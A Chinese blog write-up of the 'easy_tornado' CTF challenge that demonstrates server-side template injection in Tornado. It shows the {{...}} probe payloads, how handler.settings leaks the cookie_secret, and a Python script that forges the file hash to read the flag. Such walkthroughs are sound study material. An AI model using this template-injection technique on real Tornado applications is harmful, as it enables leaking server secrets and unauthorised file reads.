2018护网杯easy_tornado(BUUCTF提供复现)

在这里插入图片描述进入页面首先看一下flag.txt
file?filename=/flag.txt&filehash=9f1a5c8c40be3aafbc5e719d151b1d36
换成fllllllllllllg试一试
出现error
在这里插入图片描述然后一脸懵逼,查阅资料发现这是一个SSTI注入,原理跟SQL注入一样,但是上图把在这里插入图片描述
又查阅资料发现尝试进行验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符背过滤了。

那么tornado中的cookie通过模板注入要怎么拿到呢?
用的就是handler.settings对象

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
原文链接:https://blog.csdn.net/zz_Caleb/article/details/101473013/

进入拿到cookie_secret了
{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘73e3eafa-153d-4145-a916-c1e8b3026948’}
然后算/hints.txt
md5(cookie_secret+md5(filename))
下面贴上脚本

import hashlib


def md5value(s):
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()


def mdfive2():
    filename = '/fllllllllllllag'
    cookie = r"73e3eafa-153d-4145-a916-c1e8b3026948"
    print(md5value(cookie + md5value(filename)))

mdfive2()

之后算出来,然后访问068f75b7-4e20-4f64-9997-99dc0da0f8d3.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=0256f1866c4fd79c4b1f3a90d0c731a1
拿到flagflag{83b208fc-fcf0-41c3-9194-3f745683744a}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值